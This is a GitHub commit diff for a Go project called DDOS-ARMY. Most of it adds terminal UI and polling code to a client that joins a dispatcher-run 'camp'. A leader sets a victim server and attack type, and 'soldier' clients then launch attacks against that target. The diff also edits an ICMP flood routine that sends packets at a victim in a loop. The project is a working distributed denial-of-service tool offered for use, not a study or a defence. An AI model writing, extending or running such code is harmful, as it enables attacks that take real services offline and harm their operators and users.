Skip to content

Commit

Permalink
intro to UI
Browse files Browse the repository at this point in the history
  • Loading branch information
MahdiAw committed Apr 11, 2023
1 parent e5737a0 commit d868bdd
Show file tree
Hide file tree
Showing 16 changed files with 890 additions and 42 deletions.
21 changes: 0 additions & 21 deletions LICENSE
@@ -1,21 +0,0 @@
MIT License

Copyright (c) 2023 Ali Awada

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
4 changes: 4 additions & 0 deletions clib.json
@@ -0,0 +1,4 @@
{
"name": "DDOS-ARMY",
"version": "0.1.0"
}
27 changes: 27 additions & 0 deletions client/api.go
Expand Up @@ -20,3 +20,30 @@ type CampAPI struct {
Soldiers []SoldierAPI `json:"soldiers"`
Settings CampSettings `json:"camp_settings"`
}

func (camp CampAPI) Equals(c2 CampAPI) bool {
if camp.Leader.Name != c2.Leader.Name {
return false
}
if len(camp.Soldiers) != len(c2.Soldiers) {
return false
}
for i, soldier := range camp.Soldiers {
if soldier.Name != c2.Soldiers[i].Name {
return false
}
if soldier.Ip != c2.Soldiers[i].Ip {
return false
}
}
if camp.Settings.Status != c2.Settings.Status {
return false
}
if camp.Settings.VictimServer != c2.Settings.VictimServer {
return false
}
if camp.Settings.DDOSType != c2.Settings.DDOSType {
return false
}
return true
}
28 changes: 28 additions & 0 deletions client/banner.go
@@ -0,0 +1,28 @@
package client

const frame0 = `
☻__►╦╤─
/▌
/ \ `
const frame1 = `
☻__►╦╤─
/▌
/ \ D
`
const frame2 = `
☻__►╦╤─‣
/▌
/ \ DD
`

const frame3 = `
☻__►╦╤─ ‣
/▌
/ \ DDO
`

const frame4 = `
☻__►╦╤─ ‣
/▌
/ \ DDOS
`
111 changes: 95 additions & 16 deletions client/client.go
Expand Up @@ -5,10 +5,15 @@ import (
"encoding/json"
"errors"
"fmt"
"github.com/fatih/color"
"net/http"
"strings"
"sync"
"time"
)

var LogChan = make(chan string, 10)

type Leader struct {
Client
Password string
Expand Down Expand Up @@ -45,7 +50,6 @@ func (c *Client) GetCamp() CampAPI {

func (c *Client) JoinCamp() error {
//post request to dispatcher server /camp/
//with body {name: c.Name}
jr, err := json.Marshal(c)
if err != nil {
return err
Expand All @@ -69,16 +73,16 @@ func (c *Client) JoinCamp() error {
return errors.New(msg)
}

func (c *Leader) RemoveFromCamp(password string) error {
func (l *Leader) RemoveFromCamp(password string) error {
//delete request to dispatcher server /camp/
//with body {name: c.Name}
rq, err := http.NewRequest("DELETE", c.DispatcherServer+"/camp", nil)
rq, err := http.NewRequest("DELETE", l.DispatcherServer+"/camp", nil)
rq.Header.Add("Authorization", password)

if err != nil {
return err
}
do, err := c.Do(rq)
do, err := l.Do(rq)
defer do.Body.Close()
if err != nil {
return err
Expand All @@ -93,21 +97,21 @@ func (c *Leader) RemoveFromCamp(password string) error {
}
}

func (c *Leader) UpdateCampSettings(settings CampSettings, password string) error {
func (l *Leader) UpdateCampSettings(settings CampSettings) error {
//put request to dispatcher server /camp/
//convert settings to json and put it in the body
jr, err := json.Marshal(settings)
if err != nil {
return err
}

rq, err := http.NewRequest("PUT", c.DispatcherServer+"/camp", bytes.NewReader(jr))
rq, err := http.NewRequest("PUT", l.DispatcherServer+"/camp", bytes.NewReader(jr))
if err != nil {
return err
}
rq.Header.Add("Authorization", password)
rq.Header.Add("Authorization", l.Password)

do, err := c.Do(rq)
do, err := l.Do(rq)
defer do.Body.Close()
if err != nil {
return err
Expand All @@ -121,25 +125,100 @@ func (c *Leader) UpdateCampSettings(settings CampSettings, password string) erro
}
}

func (c *Client) ListenAndDo() {
cmp := c.GetCamp()
prevStatus := cmp.Settings.Status
func (c *Client) ListenAndDo(ChangedDataChan chan CampAPI) {
prevCmp := c.GetCamp()
ChangedDataChan <- prevCmp
stopchan := make(chan bool, 1)
stopchan <- false

var cmp CampAPI
for {
cmp = c.GetCamp()
if prevStatus != cmp.Settings.Status {
DisplayCampInfo(cmp)

if !cmp.Equals(prevCmp) {
select {
case <-ChangedDataChan:
default:
}
ChangedDataChan <- cmp
if cmp.Settings.DDOSType != prevCmp.Settings.DDOSType {
LogChan <- "change attack mode " + cmp.Settings.DDOSType
}
if cmp.Settings.Status == "attacking" {
go StartAttack(cmp.Settings.VictimServer, cmp.Settings.DDOSType, stopchan)
}
if cmp.Settings.VictimServer != prevCmp.Settings.VictimServer {
LogChan <- "Victim server changed to " + cmp.Settings.VictimServer
}

if cmp.Settings.Status == "stopped" {
fmt.Println("Stopping attack")
select {
case <-stopchan:
default:
}
stopchan <- true
}
prevStatus = cmp.Settings.Status
prevCmp = cmp
time.Sleep(2 * time.Second)
}
}
}

func (c *Client) Start() {
err := c.JoinCamp()
if err != nil {
//check if error contain connection refused
//if yes, then the dispatcher server is not running
if strings.Contains(err.Error(), "connection refused") {
color.Red("Dispatcher server is not running")
return
} else {
color.Red(err.Error())
return
}
}
var ChangedDataChan = make(chan CampAPI, 1)
wg := sync.WaitGroup{}
wg.Add(1)
go func() {
c.ListenAndDo(ChangedDataChan)
wg.Done()
}()

go func() {
StartSoldierView(ChangedDataChan)
wg.Done()
}()
wg.Wait()
}

func (l *Leader) ListenChangeView(changedDataChan chan CampAPI) {
prevCamp := l.GetCamp()
changedDataChan <- prevCamp
for {
camp := l.GetCamp()
if !camp.Equals(prevCamp) {
select {
case <-changedDataChan:
default:
}
changedDataChan <- camp
}
time.Sleep(1 * time.Second)
}
}
func (l *Leader) Start() {
var changedDataChan = make(chan CampAPI, 1)

wg := sync.WaitGroup{}
wg.Add(1)

go func() {
l.ListenChangeView(changedDataChan)
wg.Done()
}()
go func() {
l.StartLeaderView(changedDataChan)
wg.Done()
}()
wg.Wait()
}
14 changes: 9 additions & 5 deletions client/doscore.go
Expand Up @@ -39,14 +39,18 @@ func ICMPFlood(victim string, stopChan chan bool) {
for {
channels <- struct{}{}
select {
case <-stopChan:
<-stopChan
return
case isStop := <-stopChan:
if isStop {
LogChan <- "Stopping attack"
stopChan <- false
return
}
//continue to default

default:
if !blocked {
go func() {
err := SendICMP(ipAddr.String(), CreateICMPMessage(), conn)
err := SendICMP(CreateICMPMessage(), conn)
if err != nil {
if strings.Contains(err.Error(), "no buffer space") {
//block sending
Expand Down Expand Up @@ -74,7 +78,7 @@ func CreateICMPMessage() *icmp.Message {
}
}

func SendICMP(ip string, message *icmp.Message, conn *net.IPConn) error {
func SendICMP(message *icmp.Message, conn *net.IPConn) error {
// Resolve the IP address of the target host

messageBytes, err := message.Marshal(nil)
Expand Down

0 comments on commit d868bdd

Please sign in to comment.